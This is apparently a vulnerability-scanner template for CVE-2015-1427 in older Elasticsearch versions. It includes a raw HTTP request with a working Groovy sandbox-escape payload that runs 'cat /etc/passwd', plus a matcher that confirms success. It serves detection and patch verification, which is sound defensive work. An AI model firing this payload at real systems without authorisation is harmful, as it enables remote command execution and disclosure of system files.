id: CVE-2015-1427

info:

name: ElasticSearch - Remote Code Execution

author: pikpikcu

severity: high

description: ElasticSearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script to the Groovy scripting engine.

remediation: |

Apply the latest security patches and updates provided by ElasticSearch to fix the deserialization vulnerability.

reference:

- https://blog.csdn.net/JiangBuLiu/article/details/94457980

- http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/

- https://nvd.nist.gov/vuln/detail/CVE-2015-1427

- http://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html

- https://access.redhat.com/errata/RHSA-2017:0868

classification:

cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P

cvss-score: 7.5

cve-id: CVE-2015-1427

cwe-id: CWE-284

epss-score: 0.8674

epss-percentile: 0.98235

cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: elasticsearch

product: elasticsearch

tags: packetstorm,cve,cve2015,elastic,rce,elasticsearch,kev

http:

- raw:

- |

POST /website/blog/ HTTP/1.1

Host: {{Hostname}}

Accept: */*

Accept-Language: en

Content-Type: application/x-www-form-urlencoded

{

"name": "test"

}

- |

POST /_search HTTP/1.1

Host: {{Hostname}}

Accept: */*

Content-Type: application/x-www-form-urlencoded

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

matchers-condition: and

matchers:

- type: word

part: header

words:

- "application/json"

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

# digest: 490a004630440220681a17b81231f975104582b5ec59f40457f2f1a10913eb364483390bd47af74f02201bf640e6a9de029f2f4d1c289285ece3ea8d41557aee3535248eed00d04e35cd:922c64590222798bb761d5b6d8e72950